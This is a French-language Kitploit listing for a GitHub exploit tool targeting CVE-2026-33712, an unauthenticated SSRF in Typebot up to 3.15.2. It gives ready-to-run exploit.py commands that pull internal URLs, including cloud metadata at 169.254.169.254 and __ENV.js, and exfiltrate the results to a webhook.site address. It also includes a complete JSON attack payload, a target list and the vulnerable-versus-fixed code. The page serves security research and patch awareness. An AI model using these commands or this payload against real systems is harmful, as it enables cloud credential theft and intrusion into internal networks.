Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-33712 — CVE-2026-33712 - Typebot <= 3.15.2 SSRF non authentifié via le fetch du sandbox isolated-vm | Kitploit
Outils/GitHubGitHub/portbuster1337/cve-2026-33712
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed Teaming
GitHubportbuster1337/cve-2026-33712

CVE-2026-33712

CVE-2026-33712 - Typebot <= 3.15.2 SSRF non authentifié via le fetch du sandbox isolated-vm

Voir le dépôt
il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-33712 - SSRF non authentifié dans Typebot

Description

Typebot <= 3.15.2 (corrigé dans la 3.16.0) contient une vulnérabilité de falsification de requête côté serveur (SSRF) non authentifiée dans le point de terminaison de prévisualisation du chat.

Point de terminaison : POST /api/v1/typebots/{typebotId}/preview/startChat

Le point de terminaison de prévisualisation accepte une définition de typebot fournie par l'utilisateur avec des blocs de code côté serveur. La fonction fetch() exposée dans le bac à sable isolated-vm appelle le fetch natif de Node.js sans la validation SSRF validateHttpReqUrl() qui protège le bloc de requête HTTP standard. Cela contourne toutes les mesures d'atténuation SSRF.

Avertissement

Cet outil est fourni à des fins éducatives et pour des tests de sécurité autorisés uniquement. Toute utilisation non autorisée contre des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas l'autorisation explicite de tester est illégale. L'auteur n'est pas responsable de toute utilisation abusive ou des dommages causés par cet outil.

Impact

  • Vol d'identifiants cloud (AWS IMDS, metadata GCP, Azure IMDS)
  • Accès réseau interne aux conteneurs Docker et aux sous-réseaux privés
  • Exfiltration de données à partir de services internes
  • Divulgation de l'email SMTP_FROM / administrateur via __ENV.js

Fichiers

FichierDescription
exploit.pyScript d'exploitation principal
endpoints.txtUne URL par ligne — cibles SSRF à scanner
requirements.txtDépendances Python

Utilisation

root@kitploit:~
pip install -r requirements.txt

# Requête SSRF unique
python3 exploit.py -t bot.example.com -u http://127.0.0.1:3000/__ENV.js -w https://webhook.site/your-uuid

# Scanner toutes les URLs de endpoints.txt
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan

# Détection automatique de l'URL de la visionneuse depuis le __ENV.js du constructeur
python3 exploit.py -t 192.168.1.10:3011 -w https://webhook.site/your-uuid --detect-viewer --scan

# Ignorer la pré-vérification et forcer l'exécution
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan --force

Arguments

ArgDescription
-t / --targetURL de l'instance Typebot (visionneuse ou constructeur). Le schéma par défaut est http://
-u / --urlURL interne à récupérer via SSRF (mode unique)
-w / --webhookURL du webhook pour les données exfiltrées (ou variable d'environnement WEBHOOK_URL)
--scanScanner toutes les URLs de endpoints.txt
--detect-viewerSonder /__ENV.js sur la cible pour trouver NEXT_PUBLIC_VIEWER_URL et l'utiliser
--forceIgnorer les vérifications préliminaires et forcer l'exécution
--timeoutDélai d'attente de la requête (défaut : 20s)
--delayDélai entre les requêtes de scan (défaut : 0,3s)

Comportement

  1. Auto-schéma — si vous passez bot.example.com sans http://, il est préfixé automatiquement.
  2. Pré-vérification — avant toute requête, le script sonde la cible et la classe comme vulnerable, patched (authentification requise) ou endpoint_missing (mauvaise URL/version). Se termine prématurément en cas d'échec sauf si --force est défini.
  3. Mode scan — lit endpoints.txt, parcourt chaque URL, exfiltre le contenu vers le webhook.
  4. Exfiltration — le contenu est envoyé dans le corps de la requête POST vers l'URL du webhook (pas en paramètres de requête), évitant les limites de longueur d'URL.

endpoints.txt

Une URL brute par ligne. Les lignes vides sont ignorées. Pas de commentaires, pas de catégories.

root@kitploit:~
http://127.0.0.1:3000/__ENV.js
http://typebot-builder:3000/
http://169.254.169.254/latest/meta-data/

Chemin de code vulnérable

Dans packages/variables/src/executeFunction.ts, la fonction fetch() exposée dans le bac à sable isolated-vm appelait à l'origine le fetch natif de Node.js sans validation SSRF :

root@kitploit:~
// VULNÉRABLE (<=3.15.2) :
globalThis.fetch = (...args) => $0.apply(undefined, args, {
  new Reference(async (...fetchArgs) => {
    const [input, init] = fetchArgs;
    const res = await fetch(input, init);  // Pas de validateHttpReqUrl !
    return res.text();
  }),
});

// CORRIGÉ (>=3.16.0) :
globalThis.fetch = (...args) => $0.apply(undefined, args, {
  new Reference(async (...fetchArgs) => {
    const [input, init] = fetchArgs;
    const request = new Request(input, init);
    await validateHttpReqUrl(request.url);  // Vérification SSRF ajoutée
    validateHttpReqHeaders(headers);
  }),
});

Le correctif (commit d96f572) a également réorganisé les vérifications dans getTypebot() afin que la validation d'authentification s'exécute avant le raccourci de typebot personnalisé, et a déplacé le point de terminaison de prévisualisation de la visionneuse de procedureWithOptionalUser vers protectedProcedure.

Structure de la charge utile

root@kitploit:~
{
  "typebotId": "exploit-id",
  "typebot": {
    "version": "6",
    "id": "exploit-bot",
    "workspaceId": "test",
    "updatedAt": "2026-01-01T00:00:00.000Z",
    "groups": [
      {
        "id": "group-1", "title": "Start",
        "graphCoordinates": {"x": 0, "y": 0},
        "blocks": [
          {"id": "block-1", "type": "start", "label": "Start", "outgoingEdgeId": "edge-1"}
        ]
      },
      {
        "id": "group-2", "title": "SSRF",
        "graphCoordinates": {"x": 200, "y": 0},
        "blocks": [
          {
            "id": "block-2", "type": "Code",
            "outgoingEdgeId": "edge-2",
            "options": {
              "name": "SSRF",
              "content": "const res = await fetch(\"http://127.0.0.1:3000/\"); setVariable(\"result\", res);",
              "isExecutedOnClient": false,
              "isUnsafe": true
            }
          }
        ]
      }
    ],
    "edges": [
      {"id": "edge-1", "from": {"blockId": "block-1"}, "to": {"groupId": "group-2"}}
    ],
    "events": [
      {"id": "event-1", "type": "start", "outgoingEdgeId": "edge-1", "graphCoordinates": {"x": 0, "y": 0}}
    ],
    "variables": [
      {"id": "var-1", "name": "result", "value": null}
    ],
    "settings": {"general": {}},
    "theme": {"general": {}, "chat": {}}
  }
}

Important : fetch() dans le bac à sable retourne déjà .text(), donc le résultat est une chaîne de caractères, pas un objet Response.

Télécharger l’outil